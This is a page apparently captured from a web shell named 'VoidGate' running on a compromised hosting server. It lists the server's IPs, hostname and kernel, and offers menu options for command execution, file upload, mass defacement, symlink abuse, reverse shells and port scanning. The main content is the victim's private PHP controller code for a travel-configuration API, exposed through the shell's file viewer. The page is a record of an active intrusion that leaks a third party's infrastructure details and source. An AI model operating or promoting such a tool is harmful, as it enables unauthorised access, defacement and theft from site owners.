ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: TravelConfigController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Controller\Annotations as Rest; use AppBundle\Entity\TravelConfig; use Nelmio\ApiDocBundle\Annotation as Doc; class TravelConfigController extends FOSRestController { /** * Get the list of all travel configurations of all agencies( further application of 'per agency' filter) * * @Rest\Get("/travelconfigs") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Travel configurations", * resource=true, * description="Get the list of all travel configurations of all agencies.", * ) */ public function listAction() { $travelConfigs = $this ->getDoctrine() ->getManager() ->getRepository("AppBundle:TravelConfig") ->findAll(); return $travelConfigs; } /** * Get one travel configuration. * @param integer $travelConfigId The id of the travelConfig * @Rest\Get("/travelconfigs/{travelConfigId}") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST", "TRAVEL_CONFIG_DETAILS"} * ) * @Doc\ApiDoc( * section="Travel configurations", * resource=true, * description="Get one travel configuration.", * ) */ public function showAction(TravelConfig $travelConfig) { return $travelConfig; } /** * Create a travel configuration * The body of the request must be * <p> * { <br > * "scheduleId": X, <br > * "lineStandingId": Y, <br> * "startPoint": Z //value is 1 or 2 <br > * } * </p> * @Rest\Post("/travelconfigs") * @Rest\View( * statusCode = JsonResponse::HTTP_CREATED, * SerializerGroups = {"LIST", "TRAVEL_CONFIG_DETAILS"} * ) * @Doc\ApiDoc( * section="Travel configurations", * resource=true, * description="Create a travel configuration.", * ) */ public function createAction(Request $request) { /** * The body of the request must be * { * "scheduleId": X, * "lineStandingId": Y * } * where X and Y are real Id values. */ $em = $this ->getDoctrine() ->getManager(); /** * fetching the schedule */ if ($request->request->has("scheduleId")) { $scheduleID =$request->request->get('scheduleId'); $schedule = $em ->getRepository('AppBundle:Schedule') ->find($scheduleID); if ($schedule == null) { return new JsonResponse(['Error' => 'no schedule with id: '.$scheduleID], JsonResponse::HTTP_BAD_REQUEST); } } else { return new JsonResponse(['Error' => 'missing \"scheduleId\"'], JsonResponse::HTTP_BAD_REQUEST); } /** * fechting the line */ if ($request->request->has("lineStandingId")) { $lineStandingID =$request->request->get('lineStandingId'); $lineStanding = $em ->getRepository('AppBundle:LineStanding') ->find($lineStandingID); if ($lineStanding == null) { return new JsonResponse(['Error' => 'no line_standing with id: '.$lineStandingID], JsonResponse::HTTP_BAD_REQUEST); } } else { return new JsonResponse(['Error' => 'missing \"lineStandingId\"'], JsonResponse::HTTP_BAD_REQUEST); } /** * fechting the line */ if ($request->request->has("startPoint")) { $startPoint = $request->request->get('startPoint'); if ($startPoint!=1 && $startPoint !=2) return new JsonResponse(['property_path' => 'missing \'startPoint\'', 'message' => 'value must be either 1 or 2'], JsonResponse::HTTP_BAD_REQUEST); } else { return new JsonResponse(['Error' => 'missing \'startPoint\''], JsonResponse::HTTP_BAD_REQUEST); } /** * At this point everything is OK */ $travelConfig = new TravelConfig(); $travelConfig->setLineStanding( $lineStanding); $travelConfig->setSchedule($schedule); $em->persist($travelConfig); $em->flush(); return $travelConfig; } /** * Delete one travel configuration. * @param integer $travelConfigId The id of the travelConfig * @Rest\Delete("/travelconfigs/{travelConfigId}") * @Rest\View( * statusCode = JsonResponse::HTTP_NO_CONTENT * ) * @Doc\ApiDoc( * section="Travel configurations", * resource=true, * description="Delete a travel configuration.", * ) */ public function deleteAction(TravelConfig $travelConfig) { $travelConfig->setActive(false); $em = $this ->getDoctrine() ->getManager(); $em->flush(); } }
Coded With 💗 by
0x6ick